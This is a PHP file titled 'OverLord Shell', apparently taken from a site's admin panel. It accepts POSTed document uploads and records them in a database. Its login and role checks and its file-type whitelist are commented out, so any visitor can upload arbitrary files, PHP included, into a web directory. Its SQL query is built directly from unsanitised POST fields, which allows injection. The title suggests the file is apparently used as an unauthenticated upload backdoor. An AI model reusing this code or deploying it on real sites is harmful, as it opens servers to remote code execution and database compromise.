OverLord Shell

<?php session_start();
//if(!isset($_SESSION['id']) || !isset($_SESSION['user'])){session_destroy();echo "login.php";exit;}
//if(!in_array($_SESSION['role'],array('su','op'))){echo "404.php";exit;}
if($_SERVER['REQUEST_METHOD']!='POST' || empty($_POST)){echo "404.php";exit;}
require_once("db/conn.php");

$uid=$_POST['uid'];
$docname=$_POST['docname'];

$fname1=$_FILES['docfile']['name'];
if(!empty($fname1)){
	$ftype1=$_FILES['docfile']['type'];
	if($_FILES['docfile']['error']==1){echo "Image upload error.";exit;}
	else{
		if($_FILES['docfile']['size'] < 2*1024*1024){
			//if($ftype1=="image/jpeg" || $ftype1=="image/pjpeg" || $ftype1=="image/gif" || $ftype1=="image/png"){
				$ext=explode('.',basename($fname1));
				$ext=end($ext);
			//}else{echo "Image type error. Only JPG, PNG and GIF allowed.";exit;}
		}else{echo "Image size error. Max size is 2 MB.";exit;}
	}
}else{echo "Please upload Image.";exit;}

$addq="INSERT INTO otms_mst_contactdoc(con_sr_no,contype,docname,docfile,active,create_dt,create_by) VALUES('$uid','c','$docname','$ext','y','".date('Y-m-d H:i:s')."','".$_SESSION['su_sr_no']."')";
$addr=$connection_jc->query($addq);
@$getid=$connection_jc->insert_id;
if($addr){
    
 // echo "maccia/oms-admin/uploads/docs/doc-".$uid."-".$getid.".".$ext;
  //maccia/oms-admin/uploads/doc
  
  //file:///D|/wamp/www/MACCIA/oms-admin/uploads/docs/
  
   @move_uploaded_file($_FILES['docfile']['tmp_name'],"maccia/oms-admin/uploads/docs/doc-".$uid."-".$getid.".".$ext);
		//@move_uploaded_file($_FILES['docfile']['tmp_name'],"up/doc-".$uid."-".$getid.".".$ext);

  //  echo  @move_uploaded_file($_FILES['docfile']['name'],"maccia/oms-admin/uploads/docs/doc-".$uid."-".$getid.".".$ext);
	echo "success";
    
}
else echo "An unknown error occured. Please try again.";
$connection_jc->close();

?>